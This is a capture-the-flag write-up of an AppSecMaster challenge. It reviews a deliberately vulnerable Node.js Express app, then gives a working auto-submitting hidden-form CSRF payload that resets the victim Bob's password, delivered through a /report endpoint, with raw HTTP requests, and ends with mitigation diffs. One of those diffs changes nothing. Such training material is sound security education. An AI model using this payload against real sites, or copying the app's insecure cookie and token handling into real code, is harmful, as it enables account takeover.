CSRF Vulnerability in Node.js – AppSecMaster Challenge

Table of Contents

What is the AppSecMaster Platform?

AppSecMaster is an interactive web application security training platform that provides hands-on challenges to practice and enhance offensive and defensive security skills. It covers various OWASP Top 10 vulnerabilities through real-world inspired labs, allowing developers, security researchers, and pentesters to explore and exploit vulnerabilities in a controlled environment.

Indicators of CSRF Vulnerability

A web application is likely to be vulnerable to CSRF if it exhibits the following characteristics:

  • Uses Session Cookies for Authentication: If the application relies solely on cookies to manage user sessions (instead of tokens in headers like Authorization), it becomes susceptible to CSRF since cookies are automatically included in cross-site requests by default.

  • SameSite Attribute Set to None: When session cookies are configured with SameSite=None, they will be sent in cross-origin requests. If this setting is used without secure CSRF protection mechanisms, it increases the risk of exploitation. Secure apps usually use SameSite=Strict or Lax to mitigate this.

  • Accepts Dangerous Content Types: If the backend accepts data with a content type of application/x-www-form-urlencoded, multipart/form-data, or text/plain, it is particularly vulnerable. These are the only content types a browser can send via forms or JavaScript without triggering a CORS preflight — making them exploitable in CSRF attacks.

  • Lack of Anti-CSRF Tokens: A strong and commonly recommended mitigation against CSRF is the use of unique tokens in each form or request. These tokens are generated per user session and must be validated on the server side. If the application lacks such tokens, it becomes trivially exploitable.

Challenge Objectives

In this challenge, we are presented with a vulnerable Node.js application and the following goals:

  • Craft a CSRF payload that will change Bob’s account password.
  • Deliver the malicious payload to Bob using the /exploit endpoint.
  • Log in with the new password and retrieve the masterkey stored in Bob’s cookies.

Starting the Code Review

According to the challenge description, the application is developed in Node.js, and the source code provides two primary files of interest: app.js (the main application logic) and package.json (which declares the project dependencies).

Reviewing packege.json

The package.json file lists several dependencies commonly used in Express-based web applications:

{
  "name": "",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "start": "node app.js"
  },
  "dependencies": {
    "puppeteer": "^14.1.1",
    "body-parser": "^1.20.2",
    "express": "^4.18.4",
    "express-session": "^1.17.3"
  },
  "author": "YourName",
  "license": "MIT"
}

Relevant notes:

  • express: Web framework used to handle routing and HTTP logic.
  • body-parser: Used to parse incoming request bodies.
  • express-session: Manages session state via cookies — a critical component when evaluating CSRF vulnerability.
  • puppeteer: Headless browser automation, likely used internally to simulate Bob reviewing submitted content.

Reviewing app.js — Core Security Observations

Below is the full source code of the main file, app.js, responsible for request routing, session management, and business logic.

const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const https = require('https');
const app = express();

// --------------------------------------------------Auxiliary Code
app.use(bodyParser.urlencoded({ extended: true }));
app.use(session({
    secret: process.env.SECRET,
    resave: false,
    saveUninitialized: true,
    cookie: {
        sameSite: 'None',
        secure: true
    }
}));

app.use((req, res, next) => {
    if (!req.session.csrfToken) {
        req.session.csrfToken = generateCSRFToken();
    }
    next();
});

const crypto = require('crypto');

function generateCSRFToken() {
    return crypto.randomBytes(32).toString('hex');
}

function verifyCSRF(req, res) {
    const tokenFromBody = req.body._csrf;
    const tokenFromSession = req.session.csrfToken;
    return tokenFromBody && tokenFromSession && tokenFromBody === tokenFromSession;
}

function escapeHTML(str) {
    return String(str).replace(/[&<>"'`=\/]/g, function (char) {
        return {
            '&': '&amp;',
            '<': '&lt;',
            '>': '&gt;',
            '"': '&quot;',
            "'": '&#x27;',
            '`': '&#x60;',
            '=': '&#x3D;',
            '/': '&#x2F;'
        }[char];
    });
}

// Insecure in-memory users database, only for challenge purposes
const users = {
    alice: { username: 'alice', password: 'pass', bio: 'Hi, I am Alice!' },
    bob: { username: 'bob', password: process.env.PASSWORD, bio: 'Hello from Bob!' }
};

let sharedComments = [];


function isAuthenticated(req) {
    return req.session && req.session.username && users[req.session.username];
}

function renderHTML(filePath, replacements = {}) {
    let content = fs.readFileSync(path.join(__dirname, 'public', filePath), 'utf-8');
    for (let key in replacements) {
        const regex = new RegExp(`{{${key}}}`, 'g');
        content = content.replace(regex, replacements[key]);
    }
    return content;
}

// -------------------------------------------- Routes

app.get('/', (req, res) => {
    if (isAuthenticated(req)) return res.redirect('/profile');
    res.send(renderHTML('login.html', { error: '' }));
});

// Insecure login flow, only for challenge purposes
app.post('/login', (req, res) => {
    const { username, password } = req.body;

    if (users[username] && users[username].password === password) {
        req.session.username = username;

        // Set masterkey cookie
        let masterKeyValue = '';

        if (username === 'alice') {
            masterKeyValue = 'DEMOMASTERKEY';
        } else if (username === 'bob') {
            try {
                masterKeyValue = fs.readFileSync('/tmp/masterkey.txt', 'utf8').trim();
            } catch (err) {
                console.error('[!] Failed to read /tmp/masterkey.txt:', err);
                masterKeyValue = 'ERROR';
            }
        }

        res.cookie('masterkey', masterKeyValue, {
            httpOnly: false,
        });

        return res.redirect('/profile');
    }

    res.send(renderHTML('login.html', { error: '<p class="error">Invalid credentials</p>', csrfToken: req.session.csrfToken }));
});

app.get('/profile', (req, res) => {
    if (!isAuthenticated(req)) return res.redirect('/');
    const user = users[req.session.username];
    res.send(renderHTML('profile.html', {
        username: escapeHTML(user.username),
        bio: escapeHTML(user.bio),
        csrfToken: req.session.csrfToken}));
});

app.post('/profile', (req, res) => {
    if (!isAuthenticated(req)) return res.redirect('/');
    const { bio, password } = req.body;
    const user = users[req.session.username];
    user.bio = bio;
    if (password && password.trim()) user.password = password;
    res.redirect('/profile');
});

app.get('/shared', (req, res) => {
    if (!isAuthenticated(req)) return res.redirect('/');
    const commentHTML = sharedComments.map(c =>
        `<li><strong>${escapeHTML(c.author)}:</strong> ${escapeHTML(c.text)}</li>`
    ).join('');
    res.send(renderHTML('shared.html', { comments: commentHTML, csrfToken: req.session.csrfToken }));
});

app.post('/shared', (req, res) => {
    if (!isAuthenticated(req)) return res.redirect('/');
    const comment = {
        author: req.session.username,
        text: req.body.comment
    };
    sharedComments.push(comment);
    res.redirect('/shared');
});

app.get('/search', (req, res) => {
    if (!isAuthenticated(req)) return res.status(401).send('Unauthorized');

    const query = req.query.query || '';
    if (!query) return res.status(400).send('Query parameter is required');

    const results = sharedComments.filter(c => 
        c.text.includes(query)
    );

    let html = `<h2>Search Results for "${escapeHTML(query)}"</h2>`;
    if (results.length === 0) {
        html += `<p>No matches found.</p>`;
    } else {
        html += '<ul>';
        results.forEach(c => {
            html += `<li><strong>${escapeHTML(c.author)}:</strong> ${escapeHTML(c.text)}</li>`;
        });
        html += '</ul>';
    }

    html += `<br><a href="/shared">Back to Shared Area</a>`;
    res.send(html);
});



app.get('/logout', (req, res) => {
    req.session.destroy(() => {
        res.redirect('/');
    });
});



app.post('/report', async (req, res) => {
    const htmlContent = req.body.html;

    if (!htmlContent) {
        return res.status(400).send('Invalid or missing HTML content');
    }

    // Respond immediately so the user doesn’t wait
    res.send('Bob is checking it out...');

    /*
    .
    .
    . BOB CHECKS IT OUT
    .
    .
    */
     
});



const sslOptions = generateSSL();

https.createServer(sslOptions, app).listen(443, () => {
    console.log('Running on https://localhost:443');
});

Breaking Down the Code

After reviewing the full source, let’s now highlight and analyze the sections that are most relevant to CSRF exploitation.

In-Memory User Database

const users = {
    alice: { username: 'alice', password: 'pass', bio: 'Hi, I am Alice!' },
    bob: { username: 'bob', password: process.env.PASSWORD, bio: 'Hello from Bob!' }
};
  • The application defines two hardcoded users: Alice and Bob.
  • Alice’s password is fixed (pass), while Bob’s password is dynamically provided via process.env.PASSWORD.
  • Since the goal is to access Bob’s session, Bob is the target victim of the CSRF attack.
  • This structure allows login by both users and sets the stage for session hijacking through CSRF.

Session-Based Authentication Using Cookies

app.use(session({
    secret: process.env.SECRET,
    resave: false,
    saveUninitialized: true,
    cookie: {
        sameSite: 'None',
        secure: true
    }
}));
  • The application uses express-session, which relies on session cookies for authentication.
  • The SameSite attribute is explicitly set to 'None', which allows cookies to be sent in cross-origin requests.
  • This setup is a strong indicator of CSRF vulnerability, especially when no additional validation is in place.

CSRF Token Generation Without Enforcement

app.use((req, res, next) => {
    if (!req.session.csrfToken) {
        req.session.csrfToken = generateCSRFToken();
    }
    next();
});
  • The application generates a CSRF token and stores it in the session.
  • However, none of the sensitive routes enforce CSRF token verification using verifyCSRF().
  • This incomplete implementation gives a false sense of protection and leaves critical routes exposed.

Insecure Password Update Mechanism

app.post('/profile', (req, res) => {
    if (!isAuthenticated(req)) return res.redirect('/');
    const { bio, password } = req.body;
    const user = users[req.session.username];
    user.bio = bio;
    if (password && password.trim()) user.password = password;
    res.redirect('/profile');
});
  • This endpoint allows a logged-in user to update their profile information, including their password.
  • It accepts application/x-www-form-urlencoded data, which is commonly used in CSRF attacks via HTML forms.
  • No CSRF token is required or verified, which makes it exploitable through cross-site form submissions.

/report Endpoint Allows Arbitrary HTML Submission

  • This endpoint accepts raw HTML content.
  • It is implied (by the challenge description) that this content is rendered by an automated system (e.g., Puppeteer), acting as the user Bob.
  • This design enables an attacker to submit a malicious HTML page containing a hidden form that will perform a CSRF attack on Bob’s session.`
let masterKeyValue = '';

if (username === 'alice') {
    masterKeyValue = 'DEMOMASTERKEY';
} else if (username === 'bob') {
    try {
        masterKeyValue = fs.readFileSync('/tmp/masterkey.txt', 'utf8').trim();
    } catch (err) {
        console.error('[!] Failed to read /tmp/masterkey.txt:', err);
        masterKeyValue = 'ERROR';
    }
}

res.cookie('masterkey', masterKeyValue, {
    httpOnly: false,
});
  • Upon successful login, the application sets a masterkey cookie.
  • For Alice, the value is a fixed string (DEMOMASTERKEY), but for Bob, the value is dynamically read from /tmp/masterkey.txt.
  • This value is the flag of the challenge and will only be exposed if we successfully hijack Bob’s session via CSRF and log in using the new password.
  • Additionally, the cookie is not marked as HttpOnly, meaning it can be accessed via JavaScript after a successful login.

Accessing the Target Application

Upon launching the challenge, we are provided with the IP address of the target Node.js application. When accessing it via HTTPS, the first screen presented is a login form, indicating that authentication is required to interact with the application.

At this point, we can use the credentials of the test user Alice, which are hardcoded in the source code:

  • Username: alice
  • Password: pass

These credentials allow us to log in and explore the application from the perspective of a regular authenticated user.

Login Form Interface

This is the authentication interface. It consists of a username and password field, with a submit button to initiate the login.

Authenticated Session – Alice’s View

Once authenticated, we are redirected to the /profile page. This area allows Alice to view and update her profile information, including her bio and password. The presence of these editable fields, particularly the password field, will be important in our later exploitation steps.

When submitting the profile update form, the following HTTP request is observed:

POST /profile HTTP/1.1
Host: 34.244.23.252
Cookie: connect.sid=s%3AmAi_Sh7m3BYBgyiiwF43bl_d79V0f-AH.LqhGY6ajjqHdsRMtiI45OjvsuuXZFuyY9uaQKzgme1I; masterkey=DEMOMASTERKEY
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

bio=Hi%2C+I+am+Alice%21&password=pass

This request is a standard form submission using application/x-www-form-urlencoded content type. It includes:

  • The session cookie (connect.sid) which authenticates the user.
  • The masterkey cookie, specific to Alice’s session.
  • A payload containing the updated bio and password fields.

If the update is successful, the application responds with an HTTP 302 redirect to the profile page:

HTTP/1.1 302 Found
X-Powered-By: Express
Location: /profile
Vary: Accept
Content-Type: text/plain; charset=utf-8
Content-Length: 30
Date: Mon, 23 Jun 2025 21:52:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Found. Redirecting to /profile

This confirms that the submitted changes were accepted and processed by the server.

Exploiting the CSRF Vulnerability

To exploit the CSRF vulnerability in this application, it was necessary to identify the exact structure of the HTML form used in the /profile route. By inspecting the rendered HTML, the following form was found:

<form method="POST" action="/profile">
  <label>Bio:</label>
  <input name="bio" value="Hi, I am Alice!"><br>
  <label>New Password:</label>
  <input type="password" name="password" placeholder="Leave blank to keep current"><br>
  <button type="submit">Update</button>
</form>

This form is responsible for submitting user profile updates, including password changes. Importantly, no CSRF token is present in the form, which means that any external origin can replicate and submit the same request — as long as the victim is authenticated.

Based on this structure, the following malicious HTML payload was crafted to silently change the victim’s password:

<html>
  <body onload="document.forms[0].submit()">
    <form method="POST" action="https://localhost/profile">
      <input type="hidden" name="bio" value="Hacked by CSRF">
      <input type="hidden" name="password" value="newpassword123">
    </form>
  </body>
</html>

Explanation:

  • The form mimics the legitimate structure of the /profile form.
  • The onload event is used to automatically submit the form when the page is loaded.
  • The attacker controls both the bio and password fields, effectively allowing the password of the victim (Bob) to be reset.

Once this page is rendered in Bob’s browser, the request will be sent with his session cookies, resulting in a password change — all without his interaction or consent.

Delivering the CSRF Payload via /report

The application includes a special endpoint at /report that accepts raw HTML content:

app.post('/report', async (req, res) => {
    const htmlContent = req.body.html;
    res.send('Bob is checking it out...');
});

Although this route appears harmless at first, it likely triggers an internal headless browser (such as Puppeteer) that visits and renders the submitted HTML as Bob, while authenticated. This makes /report an ideal attack vector to deliver a CSRF payload.`

Payload Submission

To exploit this, the attacker sends the malicious HTML form (described earlier) inside a POST request to /report:`

POST /report HTTP/1.1
Host: 34.244.23.252
Content-Type: application/x-www-form-urlencoded
Content-Length: 258

html=<html><body onload="document.forms[0].submit()"><form method="POST" action='https://localhost/profile'><input type="hidden" name="bio" value="CSRF injected"><input type="hidden" name="password" value="csrfpwned123"></form></body></html>

Server Response

The application immediately returns a generic message:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 29

Bob is checking it out...

Although this response does not confirm execution, the attack is now in motion. If the internal Puppeteer instance loads the page using Bob’s session, the hidden form will be submitted automatically — changing Bob’s password to csrfpwned123.

Verifying the Exploitation

To confirm that the CSRF attack was successful, we attempt to log in as Bob using the new password:

  • Username: bob
  • Password: csrfpwned123

If the password was changed correctly, we are granted access to Bob’s session and redirected to the /profile page.

Capturing the Flag

Upon successful login, the application sets the masterkey cookie:

Set-Cookie: masterkey=TH3_REAL_FLAG_VALUE; Path=/; HttpOnly=false

This cookie contains the flag of the challenge. Because the HttpOnly attribute is not set, the cookie can be accessed from both:

  • JavaScript in the browser console:
console.log(document.cookie);

Look for the masterkey value — this is your flag.

  • Browser DevTools (Storage tab): Open the Application panel in DevTools, go to Storage > Cookies, and inspect the masterkey value under the domain. This provides a reliable alternative method to retrieve the flag directly from the session context.

The presence of this cookie, accessible to both scripts and the UI, confirms that the CSRF attack was successful and the challenge is completed.

Mitigation

Implement Synchronizer Token Pattern (Per-Session CSRF Token Validation)

Problem: Although the application generates a CSRF token (req.session.csrfToken), it never validates it during form submission.

Mitigation: Validate the CSRF token in the POST /profile route.

Apply in Code:

app.post('/profile', (req, res) => {
    if (!isAuthenticated(req)) return res.redirect('/');
+
+   if (!verifyCSRF(req, res)) {
+       return res.status(403).send('CSRF validation failed.');
+   }

    const { bio, password } = req.body;
    const user = users[req.session.username];
    user.bio = bio;
    if (password && password.trim()) user.password = password;
    res.redirect('/profile');
});

Additionally, include the CSRF token in all forms rendered by the server:

res.send(renderHTML('profile.html', {
    username: escapeHTML(user.username),
    bio: escapeHTML(user.bio),
-   csrfToken: req.session.csrfToken
+   csrfToken: req.session.csrfToken
}));

And make sure the form template includes it:

<input type="hidden" name="_csrf" value="{{csrfToken}}">

Set SameSite Attribute to Lax or Strict

Problem: The session cookie is configured with SameSite=None, which allows it to be sent in cross-origin requests.

Mitigation: Use a stricter SameSite policy to limit cookie exposure.

Apply in Code:

cookie: {
-   sameSite: 'None',
+   sameSite: 'Strict',
    secure: true
}

Set HttpOnly Flag on Sensitive Cookies

Problem: The masterkey cookie is accessible via JavaScript, increasing the impact of session hijacking.

Mitigation: Set the HttpOnly flag to prevent client-side access.

Apply in Code:

res.cookie('masterkey', masterKeyValue, {
-   httpOnly: false,
+   httpOnly: true,
});

Restrict Accepted Content Types (Defensive-in-Depth)

Problem: The application accepts application/x-www-form-urlencoded, which is exploitable via CSRF forms.

Mitigation: Reject requests with form-encodable content types unless explicitly needed. This is a defense-in-depth measure.

Apply in Code (example middleware):

app.use((req, res, next) => {
    const allowed = ['application/json'];
    const contentType = req.headers['content-type'] || '';
    if (req.method === 'POST' && !allowed.some(type => contentType.includes(type))) {
        return res.status(415).send('Unsupported Media Type');
    }
    next();
});

Note: This would require clients to use application/json and update frontend forms accordingly.

Conclusion

This challenge demonstrates a classic CSRF vulnerability in a Node.js web application where:

  • Session cookies are used for authentication.
  • No CSRF tokens are validated on sensitive routes.
  • The session cookie allows cross-origin requests due to SameSite=None.
  • A malicious payload can be delivered through a trusted interface (/report) and silently executed in the victim’s browser.

By exploiting the lack of proper CSRF protection, we were able to reset Bob’s password and access the masterkey cookie, ultimately capturing the flag and completing the challenge.

This scenario reinforces the importance of strict input validation, cookie configuration, and CSRF token enforcement in modern web applications — especially when using session-based authentication.

References

  1. OWASP – Cross-Site Request Forgery (CSRF)
    Detailed explanation of CSRF and recommended mitigation strategies.

  2. MDN Web Docs – SameSite cookies
    Understanding how the SameSite cookie attribute affects cross-origin requests.

  3. Express Session Documentation
    Official documentation for managing sessions in Express applications.

  4. PortSwigger – CSRF Vulnerabilities
    Interactive labs and write-ups on exploiting and defending against CSRF.

  5. OWASP – CSRF Prevention Cheat Sheet
    A reference guide for implementing CSRF protection mechanisms securely.